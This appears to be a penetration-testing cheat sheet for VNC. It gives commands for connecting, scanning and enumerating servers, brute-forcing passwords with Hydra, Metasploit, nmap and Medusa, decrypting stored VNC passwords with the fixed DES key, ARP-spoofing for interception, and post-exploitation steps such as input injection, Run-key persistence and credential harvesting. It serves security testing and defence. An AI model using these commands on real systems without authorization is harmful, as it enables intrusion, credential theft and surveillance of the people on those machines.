VNC (Virtual Network Computing)

`Default Ports: 5900-5906`

Virtual Network Computing (VNC) is a graphical desktop-sharing system that uses the Remote Frame Buffer (RFB) protocol to remotely control another computer. VNC transmits keyboard and mouse events from one computer to another, relaying graphical screen updates back. It's platform-independent and widely used for remote technical support, access to work computers, and server administration.

Connect

Using vncviewer

```
# Basic connection
vncviewer target.com:5900

# With display number (5900 + display)
vncviewer target.com:0  # Port 5900
vncviewer target.com:1  # Port 5901

# With password file
vncviewer -passwd ~/.vnc/passwd target.com:0
```

Using remmina (GUI)

Remmina is a feature-rich remote desktop client that supports VNC, RDP, and other protocols:

```
Protocol: VNC
Server: target.com:5900
Username: (if required)
```

```
Password: password
```

Using TightVNC Viewer

```
# Windows
tvnviewer.exe target.com::5900

# Linux
vncviewer target.com:5900
```

Recon

Service Detection with Nmap

Use Nmap to detect VNC services and identify server capabilities.

```
nmap -p 5900-5906 target.com
```

Banner Grabbing

Connect to VNC services to gather version and service information.

Using netcat

```
# Using netcat
nc -vn target.com 5900

# Get VNC handshake
echo "" | nc target.com 5900
```

Using nmap

```
# Using nmap
nmap -p 5900-5906 -sV target.com
```

```
# Authentication check
nmap -p 5900 --script vnc-info target.com

# Brute force script
nmap -p 5900 --script vnc-brute target.com
```

Enumeration

Use various tools for detailed VNC enumeration and information gathering.

VNC Authentication Check

Determine VNC authentication methods and protocol versions.

```
# Check authentication type
nmap -p 5900 --script vnc-info target.com

# Output shows:
# - Protocol version (RFB 003.003, 003.007, 003.008)
# - Authentication types (None, VNC, Tight, Ultra, TLS, VeNCrypt)
# - Desktop name
```

Display Enumeration

Enumerate available VNC displays and sessions.

```
# Scan range of VNC ports
nmap -p 5900-5910 target.com

# Check each display
for i in {0..10}; do
  echo "Display :$i (port $((5900+i)))"
  nc -zv target.com $((5900+i))
done
```

Attack Vectors

Exploit various VNC vulnerabilities and misconfigurations for unauthorized access.

No Authentication

Test for VNC servers configured without authentication.

```
# Try connection without password
vncviewer target.com:5900

# Using Metasploit to check
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS target.com
run

# If successful, you have immediate desktop access
```

Weak or Default Passwords

Test common default VNC passwords for unauthorized access.

```
# Common VNC passwords
password
12345678
vnc123
admin
administrator

# Try with vncviewer
vncviewer target.com:5900
# Enter password when prompted
```

Brute Force Attack

Brute force VNC passwords using various tools and techniques.

Using Hydra

```
hydra -P /usr/share/wordlists/rockyou.txt vnc://target.com
```

Using Metasploit

```
use auxiliary/scanner/vnc/vnc_login
set RHOSTS target.com
set PASS_FILE passwords.txt
run
```

Using Nmap

```
nmap -p 5900 --script vnc-brute --script-args passdb=passwords.txt target.com
```

Using Medusa

```
medusa -h target.com -u "" -P passwords.txt -M vnc
```

Password Decryption

Exploit VNC's weak password encryption for credential recovery.

```
# VNC password locations
~/.vnc/passwd
C:\Users\username\.vnc\passwd
C:\Program Files\RealVNC\vncserver.ini

# Decrypt VNC password
vncpwd /path/to/passwd

# Using Python script
python3 << 'EOF'
from d3des import decrypt
import base64

# Read encrypted password
with open('.vnc/passwd', 'rb') as f:
    encrypted = f.read()
```

```
# Decrypt (DES with fixed key)
key = [0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07]
password = decrypt(encrypted, key)
print(password)
EOF
```

Man-in-the-Middle Attack

Intercept VNC traffic for credential theft and session hijacking.

```
# Using Ettercap
ettercap -T -M arp:remote /target-ip// /gateway-ip//

# Capture VNC traffic with Wireshark
# Filter: tcp.port == 5900

# Extract VNC password from captured traffic
# Password is DES encrypted with known key
```

Post-Exploitation

Extract sensitive data and establish persistent access after successful VNC exploitation.

Screen Capture

Capture screenshots of remote desktop for reconnaissance and data collection.

```
# Using vncsnapshot
vncsnapshot target.com:5900 screenshot.jpg

# Using vncdo
vncdo -s target.com:5900 capture screenshot.png

# Continuous monitoring
while true; do
  vncsnapshot target.com:5900 screen_$(date +%s).jpg
```

```
  sleep 60
done
```

Keylogging and Input Injection

Inject keyboard and mouse inputs to execute commands or access sensitive information.

```
# Using vncdo
vncdo -s target.com:5900 key cmd
vncdo -s target.com:5900 type "whoami"
vncdo -s target.com:5900 key enter

# Open Run dialog (Windows)
vncdo -s target.com:5900 key win-r
sleep 1
vncdo -s target.com:5900 type "cmd"
vncdo -s target.com:5900 key enter
```

Persistence

Create persistent backdoor access to compromised VNC systems.

```
# If you have VNC access to a Windows machine
# Use GUI to create persistence

# 1. Open Run (Win+R)
# 2. Type: regedit
# 3. Navigate to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
# 4. Create new value with path to backdoor

# Or via command injection through VNC
# Win+R -> cmd -> execute commands
```

Data Exfiltration

Extract sensitive data from compromised VNC sessions.

```
# Using VNC clipboard (if enabled)
# Copy sensitive files in VNC session
# Paste on local machine

# Transfer via file sharing
# Open file browser in VNC
# Copy to shared folder if available

# Screenshot sensitive data
vncsnapshot target.com:5900 sensitive_data.jpg
```

Lateral Movement

Expand access to other systems using VNC sessions.

```
# Open command prompt via VNC
# Execute network discovery commands
# ipconfig /all (Windows)
# ifconfig (Linux)

# Scan internal network
# Use VNC to access command line
# Run nmap or other scanning tools

# Access other systems
# Use discovered credentials
# Connect to other VNC servers
```

Credential Harvesting

Extract credentials and sensitive information from VNC sessions.

```
# Access browser password managers
# Use VNC to navigate to saved passwords
# Copy credentials to local machine

# Access configuration files
# Navigate to application configs
# Copy sensitive configuration data
```

```
# Keylog user input
# Monitor keyboard input during VNC session
# Capture passwords as they are typed
```

VNC Variants

VNC Type	Port	Features
RealVNC	5900	Most common, enterprise features
TightVNC	5900	High compression, file transfer
UltraVNC	5900	File transfer, chat, Windows-focused
TigerVNC	5900	High performance
x11vnc	5900	Unix/Linux X11 sharing

Useful Tools

Tool	Description	Primary Use Case
vncviewer	VNC client	Connection
Remmina	Multi-protocol client	GUI connection
TightVNC Viewer	VNC client	Windows client
vncpwd	Password decryptor	Password recovery
vncsnapshot	Screenshot tool	Reconnaissance
vncdo	VNC automation	Input injection

Tool	Description	Primary Use Case
Hydra	Password cracker	Brute force
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ No authentication (None auth type)
- ❌ Weak VNC passwords
- ❌ Exposed to internet
- ❌ No encryption (standard VNC)
- ❌ Clipboard sharing enabled
- ❌ File transfer enabled
- ❌ No connection logging
- ❌ Default ports exposed
- ❌ No network isolation
- ❌ Outdated VNC server